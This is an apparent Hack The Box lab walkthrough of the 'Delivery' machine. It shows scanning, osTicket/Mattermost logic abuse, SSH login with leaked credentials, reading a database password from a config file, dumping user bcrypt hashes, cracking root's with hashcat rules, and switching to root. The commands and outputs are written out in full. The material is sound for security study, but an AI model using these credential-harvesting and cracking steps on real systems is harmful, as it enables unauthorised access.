Delivery

Last updated 2 days ago

Was this helpful?

Delivery

Hey again, this machine is a little bit special. It doesn't focus on technical vulnerabilities but on logic vulnerabilities. Also, this machine is made by Ippsec, so I highly recommend watching his .

The first time I wanted to solve this, it took me a couple of hours without any initial access. Then I came back to it and watched the Ippsec video till where I stopped, and how I was overthinking for an easy machine.

Port Scanning

Nmap was taking over 20 minutes, and that wasn't the case for any machine I solved before. Tried utilising timing templates with -T5 and still. So I used to get the ports, then gave those ports to nmap to check its version, and scanned with some scripts for it.

rustscan -a 10.10.10.222
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports faster than you can say 'SYN ACK'

[~] The config file is expected to be at "/home/legend/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.10.222:22
Open 10.10.10.222:80
Open 10.10.10.222:8065

nmap -sCV -O -oA DeliveryScan -p 22,80,8065 -vvv 10.10.10.222

-sCV : combine -sC, -sV -sC: Runs default NSE (Nmap Scripting Engine) scripts for service detection. -sV: Version detection. -O: OS detection. -oA: Export scan report with [.nmap, .gnmap, .xml] extensions and the name of the file DeliveryScan -p 22,80,8065: Scan those ports, if you want to scan all ports -p- -vvv: Verbose output

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 nginx 1.14.2
|_http-title: Welcome
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
8065/tcp open  unknown syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Tue, 03 Jun 2025 04:34:00 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: 5kobg865pf835krbsksttuz9dy
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Tue, 03 Jun 2025 04:50:59 GMT
|     <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Date: Tue, 03 Jun 2025 04:51:00 GMT
|_    Content-Length: 0

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.8 (95%), Linux 5.0 (95%), Linux 5.0 - 5.4 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), HP P2000 G3 NAS device (93%)
No exact OS matches for host (test conditions non-ideal).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 104.17 seconds

Delivery's web applications

Looks like any company web page, from it we know some information that there is a helpdesk we can talk with, and also tells us if we have an email with @delivery.htb we can access the Mattermost server. I added delivery.htb, and helpdesk.delivery.htb to /etc/hosts

sudo sh -c 'echo "10.10.10.222	delivery.htb helpdesk.delivery.htb" >> /etc/hosts'

osTicket

Start using the web app and see how it's working. Created a ticket, and it gave an email with the company domain.

Now we can use ' check ticket status ' since we have a ticket number. We can chat with IT like any customer support service.

The art of the rabbit hole

Here is where I stopped before because I didn't read what was on the home page.

There are many things you can think about here: * Default credentials * Look for any public exploits for this web app (osTicket) * Stored XSS and get admin or helpdesk technician cookies.

We found many exploits for it. But we need to know its version. Tried going through some page source and got nothing. Tried i trick I don't remember where I saw it, but it's really smart, which is downloading the logo and any photo to get any date.

So we are looking for any exploit v1.14.6 and under, and it seems like all those are good candidates.

Tried the SSRF exploit, but it didn't work. XSS needs any interaction from any of the support people.

Create an email with the ticket email:

We need confirmation.

Mattermost

Since we hit a dead end there, so tried to see what's going on in this web app.

As we knew from the Mattermost GitHub page, this is like a group chat for developers.

We can create an account, but we still need confirmation.

Here is the idea of this machine's initial access. There is a script running that sends confirmation messages to the support system.

In the internal team channel, the root gave us credentials for the server and also told us that there is someone in the team using PleaseSubscribe! as a password with different variations every password change policy. And also give us a hint that this password ain't found in the RockYou wordlist, and we can create a new wordlist with hashcat.

Shell as maildeliverer

Tried this credential on Mattermost and osTicket, but it didn't work. So the obvious move is to try it on SSH, and now we have a shell.

ssh maildeliverer@10.10.10.222
maildeliverer@10.10.10.222's password:
maildeliverer@Delivery:~$ ls -la
total 28
drwxr-xr-x 3 maildeliverer maildeliverer 4096 Jan  3  2021 .
drwxr-xr-x 3 root          root          4096 Dec 26  2020 ..
lrwxrwxrwx 1 root          root             9 Dec 28  2020 .bash_history -> /dev/null
-rw-r--r-- 1 maildeliverer maildeliverer  220 Dec 26  2020 .bash_logout
-rw-r--r-- 1 maildeliverer maildeliverer 3526 Dec 26  2020 .bashrc
drwx------ 3 maildeliverer maildeliverer 4096 Dec 28  2020 .gnupg
-rw-r--r-- 1 maildeliverer maildeliverer  807 Dec 26  2020 .profile
-r-------- 1 maildeliverer maildeliverer   33 Jun  3 00:34 user.txt
maildeliverer@Delivery:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.
    
[sudo] password for maildeliverer: 
Sorry, user maildeliverer may not run sudo on Delivery.

Since our user can't run anything as root so let's start some enumeration. For fast and automated enumeration, I used linPEAS. Set up a Python web server to transfer the script.

# My machine
python3 -m http.server 8000
# Delivery Machine
maildeliverer@Delivery:/tmp$ wget 10.10.16.3:8000/linpeas.sh
maildeliverer@Delivery:/tmp$ bash linpeas.sh

This is a bit new to see in LinPEAS output, but it's good. for this kernal exploits i try to leave as the last thing to do

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester                                                                                                                                                                                          
[+] [CVE-2019-13272] PTRACE_TRACEME                                                                                                                                                                                                         

   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
   Exposure: highly probable
   Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},[ debian=10{kernel:4.19.0-*} ],fedora=30{kernel:5.0.9-*}
   Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
   Comments: Requires an active PolKit agent.

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,[ debian=7|8|9|10|11 ],fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

matterm+ is running Mattermost, and root is running a script named py-smtp.py.

╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes                                                                                                  

matterm+   826  0.1  3.6 1796804 146736 ?      Ssl  00:33   0:06 /opt/mattermost/bin/mattermost
matterm+  1137  0.0  0.5 1163792 20908 ?       Sl   00:50   0:00  _ plugins/com.mattermost.nps/server/dist/plugin-linux-amd64
matterm+  1138  0.0  0.4 1234164 18872 ?       Sl   00:50   0:00  _ plugins/com.mattermost.plugin-channel-export/server/dist/plugin-linux-amd64
root       971  0.0  0.4  29532 18024 ?        S    00:34   0:00 python3 /root/py-smtp.py

there is a script named mail.sh running every minute as root.

╔══════════╣ Cron jobs
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs

* * * * *       root    /root/mail.sh

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                                                                                                                                                
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                                                                                                                                                           
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1025          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
tcp6       0      0 :::8065                 :::*                    LISTEN      -

We now know something about the route, maybe priv esc to Mattermost, then to root?

╔══════════╣ Users with console
maildeliverer:x:1000:1000:MailDeliverer,,,:/home/maildeliverer:/bin/bash                                                                                                                                                                    
mattermost:x:998:998::/home/mattermost:/bin/sh
root:x:0:0:root:/root:/bin/bash

Nothing else looks like to give us a quick win. So let's check web apps

maildeliverer@Delivery:/opt/mattermost/config$ ls -la
total 36
drwxrwxr-x  2 mattermost mattermost  4096 Dec 26  2020 .
drwxrwxr-x 12 mattermost mattermost  4096 Jul 14  2021 ..
-rw-rw-r--  1 mattermost mattermost   922 Dec 18  2020 cloud_defaults.json
-rw-rw-r--  1 mattermost mattermost 18774 Jun  3 00:34 config.json
-rw-rw-r--  1 mattermost mattermost   243 Dec 18  2020 README.md

maildeliverer@Delivery:/opt/mattermost/config$ cat config.json | grep mysql -A 10
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],
        "MaxIdleConns": 20,
        "ConnMaxLifetimeMilliseconds": 3600000,
        "MaxOpenConns": 300,
        "Trace": false,
        "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
        "QueryTimeout": 30,
        "DisableDatabaseSearch": false

This type of saving a password in a file won't get caught by the scripts we use.

maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -pCrack_The_MM_Admin_PW

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+

MariaDB [mattermost]> show tables;
+------------------------+
| Tables_in_mattermost   |
+------------------------+
| Audits                 |
| Bots                   |
| ...snip...             |
| Users                  |
+------------------------+
46 rows in set (0.001 sec)

Here I remembered a couple of things: the table name is case sensitive, and we can print the columns and rows we want.

MariaDB [mattermost]> DESCRIBE Users;
+--------------------+--------------+------+-----+---------+-------+
| Field              | Type         | Null | Key | Default | Extra |
+--------------------+--------------+------+-----+---------+-------+
| Id                 | varchar(26)  | NO   | PRI | NULL    |       |
| CreateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| UpdateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| DeleteAt           | bigint(20)   | YES  | MUL | NULL    |       |
| Username           | varchar(64)  | YES  | UNI | NULL    |       |
| Password           | varchar(128) | YES  |     | NULL    |       |
| AuthData           | varchar(128) | YES  | UNI | NULL    |       |
| AuthService        | varchar(32)  | YES  |     | NULL    |       |
| Email              | varchar(128) | YES  | UNI | NULL    |       |
| EmailVerified      | tinyint(1)   | YES  |     | NULL    |       |
| Nickname           | varchar(64)  | YES  |     | NULL    |       |
| FirstName          | varchar(64)  | YES  |     | NULL    |       |
| LastName           | varchar(64)  | YES  |     | NULL    |       |
| Position           | varchar(128) | YES  |     | NULL    |       |
| Roles              | text         | YES  |     | NULL    |       |
| AllowMarketing     | tinyint(1)   | YES  |     | NULL    |       |
| Props              | text         | YES  |     | NULL    |       |
| NotifyProps        | text         | YES  |     | NULL    |       |
| LastPasswordUpdate | bigint(20)   | YES  |     | NULL    |       |
| LastPictureUpdate  | bigint(20)   | YES  |     | NULL    |       |
| FailedAttempts     | int(11)      | YES  |     | NULL    |       |
| Locale             | varchar(5)   | YES  |     | NULL    |       |
| Timezone           | text         | YES  |     | NULL    |       |
| MfaActive          | tinyint(1)   | YES  |     | NULL    |       |
| MfaSecret          | varchar(128) | YES  |     | NULL    |       |
+--------------------+--------------+------+-----+---------+-------+
25 rows in set (0.001 sec)

MariaDB [mattermost]> select Username,Password from Users;
+----------------------------------+--------------------------------------------------------------+
| Username                         | Password                                                     |
+----------------------------------+--------------------------------------------------------------+
| legend                           | $2a$10$j9xWxgVHXQfkFdm9ab1wYuY0LjR1raYh6zqWK514enlSXmdJtLUJm |
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
| htb                              | $2a$10$1rZi0S9H7LirOk8iqdmrnOBuwxqeOCm9qBuJaFbL6xLr8TZ3p.qlO |
+----------------------------------+--------------------------------------------------------------+
9 rows in set (0.000 sec)

Now we have this hash, If we tried to crack it with rockyou it won't crack.

$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO

Then we remember that it could be a variation of PleaseSubscribe! So we need to know how to generate a wordlist. Also, we need to know what hash this is.

We need to filter it.

root hash                                       $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO

3200	bcrypt $2*$, Blowfish (Unix)	        $2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6
25600	bcrypt(md5($pass)) / bcryptmd5	        $2a$05$/VT2Xs2dMd8GJKfrXhjYP.DkTjOVrY12yDN7/6I8ZV0q/1lEohLru
25800	bcrypt(sha1($pass)) / bcryptsha1	$2a$05$Uo385Fa0g86uUXHwZxB90.qMMdRFExaXePGka4WGFv.86I45AEjmO
28400	bcrypt(sha512($pass)) / bcryptsha512	$2a$12$KhivLhCuLhSyMBOxLxCyLu78x4z2X/EJdZNfS3Gy36fvRt56P2jbS

hashid
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO
Analyzing '$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt

Okay, now we know it's blowfish. Now let's add the password to generate a wordlist with it.

echo 'PleaseSubscribe!' > gen

hashcat -m 3200 hash gen -r /usr/share/hashcat/rules/best64.rule

Dictionary cache built:
* Filename..: gen
* Passwords.: 1
* Bytes.....: 17
* Keyspace..: 77
* Runtime...: 0 secs         

$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO
Time.Started.....: Tue Jun  3 04:16:10 2025 (2 secs)
Time.Estimated...: Tue Jun  3 04:16:12 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (gen)
Guess.Mod........: Rules (/usr/share/hashcat/rules/best64.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       13 H/s (1.60ms) @ Accel:3 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 21/77 (27.27%)
Rejected.........: 0/21 (0.00%)
Restore.Point....: 0/1 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:20-21 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#1....: PleaseSubscribe!21 -> PleaseSubscribe!21
Hardware.Mon.#1..: Util: 32%

If you want to create the wordlist

# gen -> PleaseSubscribe!
hashcat gen -r /usr/share/hashcat/rules/best64.rule --stdout > wordlist

wc wordlist 
77   77 1177 wordlist

To visualize what it has done

Shell as Root

Now we have a password to spray with.

maildeliverer@Delivery:/opt/mattermost/config$ su mattermost
Password: 
su: Authentication failure
maildeliverer@Delivery:/opt/mattermost/config$ su root
Password: 
root@Delivery:/opt/mattermost/config# id
uid=0(root) gid=0(root) groups=0(root)

Really good box, I recommend watching this video.

Last updated 2 days ago

Was this helpful?